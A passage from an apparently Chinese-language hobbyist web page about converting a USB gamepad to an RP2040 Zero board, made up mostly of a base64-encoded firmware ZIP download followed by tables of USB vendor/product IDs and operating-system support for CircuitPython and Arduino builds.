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
hy8YatoBUEsFBgAAAAABAAEAZQAAADHPAAAAAA=="
download="arduino-gamepad.zip">arduino-gamepad.zip</a>
<a name="補充資料裝置名稱及支援"></a><h5 class="mra-h5">裝置名稱及支援</h5>
<p>原本的 USB遊戲控制器 連接到電腦後 會顯示</p>
<pre class="brush:bash">0810:0001 Personal Communication Systems, Inc. Dual PSX Adaptor</pre>
<p>當使用 CircuitPython 及 Arduino 時,裝置名稱及支援亦會有變化</p>
<table class="mra-table mra-collapse" width="40%" border="1" cellpadding="5" cellspacing="5">
<colgroup>
<col width="34%"/>
<col width="33%"/>
<col width="33%"/>
</colgroup>
<thead>
<tr valign="top">
<th></th>
<th>Vendor ID</th>
<th>Product ID</th>
</tr>
</thead>
<tbody>
<tr valign="top">
<td>CircuitPython</td>
<td>2E8A</td>
<td>101F</td>
</tr>
<tr valign="top">
<td>Arduino</td>
<td>2E8A</td>
<td>0103</td>
</tr>
</tbody>
</table>
<table class="mra-table mra-collapse" width="90%" border="1" cellpadding="5" cellspacing="5">
<colgroup>
<col width="16%"/>
<col width="21%"/>
<col width="21%"/>
<col width="21%"/>
<col width="21%"/>
</colgroup>
<thead>
<tr valign="top">
<th></th>
<th>Linux</th>
<th>Windows</th>
<th>Mac OS</th>
<th>Android</th>
</tr>
</thead>
<tbody>
<tr valign="top">
<td>CircuitPython</td>
<td>Waveshare Electronics<br/>RP2040 Zero</td>
<td>CircuitPython HID</td>
<td>USB儲存裝置</td>
<td>部分有效</td>
</tr>
<tr valign="top">
<td>Arduino</td>
<td>Waveshare<br/>RP2040 Zero</td>
<td>RP2040 Zero</td>
<td>RP2040 Zero</td>
